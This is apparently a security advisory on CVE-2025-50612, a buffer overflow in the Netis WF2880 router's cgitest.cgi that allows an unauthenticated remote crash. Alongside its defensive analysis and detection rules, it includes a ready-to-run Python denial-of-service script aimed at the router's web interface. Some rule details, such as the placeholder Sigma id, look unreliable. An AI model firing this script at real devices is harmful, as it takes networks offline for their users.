CVE-2025-50612

Executive Summary

CVE-2025-50612 is a critical buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version 2.1.40207. The flaw resides in the FUN_004743f8 function within the cgitest.cgi CGI binary. By controlling the wl_sec_set parameter in an HTTP request, an unauthenticated attacker can trigger a stack-based buffer overflow, leading to a denial of service (DoS) condition. The vulnerability is publicly disclosed but remains unpatched, and no exploit code or detection rules have been published as of this analysis.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded firmware binary (cgitest.cgi) on the Netis WF2880 router. No supply chain package security implications exist.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD. Based on the technical details, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – the CGI endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only affected component.
• Confidentiality (C): None (N) – DoS does not leak data.
• Integrity (I): None (N) – DoS does not modify data.
• Availability (A): High (H) – the crash causes a complete denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High – unauthenticated remote DoS with no patch available.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the cgitest.cgi binary of the Netis WF2880 router firmware version 2.1.40207. The function FUN_004743f8 processes the wl_sec_set parameter from an HTTP POST or GET request. This parameter is copied into a fixed-size stack buffer without proper bounds checking. By supplying an overly long value for wl_sec_set, an attacker can overwrite the return address and other stack data, causing the program to crash.

Root Cause: Lack of input validation and unsafe memory copy (likely strcpy or sprintf) in the CGI handler.

Attack Flow:

1. Attacker sends an HTTP request to the router's web interface (typically port 80 or 443) targeting cgitest.cgi.
2. The request includes a wl_sec_set parameter with a payload exceeding the buffer size (e.g., 500+ bytes).
3. The FUN_004743f8 function copies the payload into a stack buffer, overwriting adjacent memory.
4. The overflow corrupts the stack, leading to a segmentation fault or crash of the CGI process.
5. The router may become unresponsive or reboot, causing a denial of service.

Potential for RCE: While the current disclosure only mentions DoS, a skilled attacker could potentially achieve remote code execution (RCE) by carefully crafting the overflow to overwrite the return address with a pointer to shellcode. However, no public exploit demonstrates this.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability type, the fix would involve:

Vulnerable Code (Conceptual):

void FUN_004743f8(char *wl_sec_set) {
    char buffer[128];
    strcpy(buffer, wl_sec_set); // Unsafe copy
    // ... process buffer
}

Patched Code (Conceptual):

void FUN_004743f8(char *wl_sec_set) {
    char buffer[128];
    strncpy(buffer, wl_sec_set, sizeof(buffer) - 1); // Safe copy with length check
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The patched version would use strncpy or similar bounded functions to prevent overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Netis WF2880 router with firmware v2.1.40207
• Network access to the router's web interface
• Python3 with requests library

Exploit Script (DoS):

#!/usr/bin/env python3
import requests

target = "http://192.168.1.1/cgitest.cgi"
payload = "A" * 500  # Overflow buffer

data = {"wl_sec_set": payload}
try:
    r = requests.post(target, data=data, timeout=5)
    print(f"Request sent. Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Router crashed - DoS successful")

Lab Setup:

1. Set up a Netis WF2880 router with vulnerable firmware in an isolated lab network.
2. Connect a client machine to the same network.
3. Run the exploit script against the router's IP.
4. Observe the router becoming unresponsive (e.g., no ping response, web interface down).

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests to /cgitest.cgi with abnormally long wl_sec_set parameters.
• Use network intrusion detection systems (NIDS) to alert on payloads exceeding 128 bytes in that parameter.
• Enable logging on the router (if available) to capture CGI request details.

Mitigation:

• Block access to cgitest.cgi from untrusted networks using firewall rules.
• Apply input validation at the network perimeter (e.g., web application firewall).
• If possible, disable the CGI endpoint entirely if not needed.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST/GET requests to /cgitest.cgi with wl_sec_set parameter length > 128 bytes.
  • Source IP addresses repeatedly sending oversized payloads to the router.
• Host (Router):
  • Unexpected crashes or reboots of the router.
  • Log entries showing segmentation faults in cgitest.cgi.
  • Memory corruption artifacts in crash dumps (if accessible).
• File:
  • Firmware version 2.1.40207 on Netis WF2880.

Detection Engineering

YARA Rule

rule CVE_2025_50612_Netis_WF2880_DoS {
    meta:
        description = "Detects exploit attempts for CVE-2025-50612 targeting Netis WF2880"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50612"
    strings:
        $cgi_path = "/cgitest.cgi" ascii wide nocase
        $param = "wl_sec_set=" ascii wide nocase
        $overflow = /wl_sec_set=[A-Za-z0-9%]{200,}/ ascii
    condition:
        $cgi_path and $param and $overflow
}

Sigma Rule

title: CVE-2025-50612 Netis WF2880 CGI Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with long wl_sec_set parameter to cgitest.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path: "/cgitest.cgi"
        cs-uri-query|contains: "wl_sec_set="
        cs-uri-query|length: >= 200
    condition: selection
falsepositives:
    - Legitimate long configuration values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50612 Netis WF2880 CGI Buffer Overflow Attempt"; flow:to_server; content:"/cgitest.cgi"; http_uri; content:"wl_sec_set="; http_uri; pcre:"/wl_sec_set=[A-Za-z0-9%]{200,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Netis WF2880 behind a firewall that blocks external access to the web interface.
2. Disable CGI: If possible, remove or disable cgitest.cgi on the router.
3. Monitor logs: Watch for exploitation attempts using the provided detection rules.

Long-term Fix:

• Vendor patch: Contact Netis for a firmware update. As of now, no patch exists.
• Replace device: Consider replacing the router with a supported model that receives security updates.
• Network segmentation: Place IoT devices like routers on a separate VLAN with restricted access.

Workaround:

• Use a reverse proxy or WAF to filter out requests with overly long wl_sec_set parameters.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.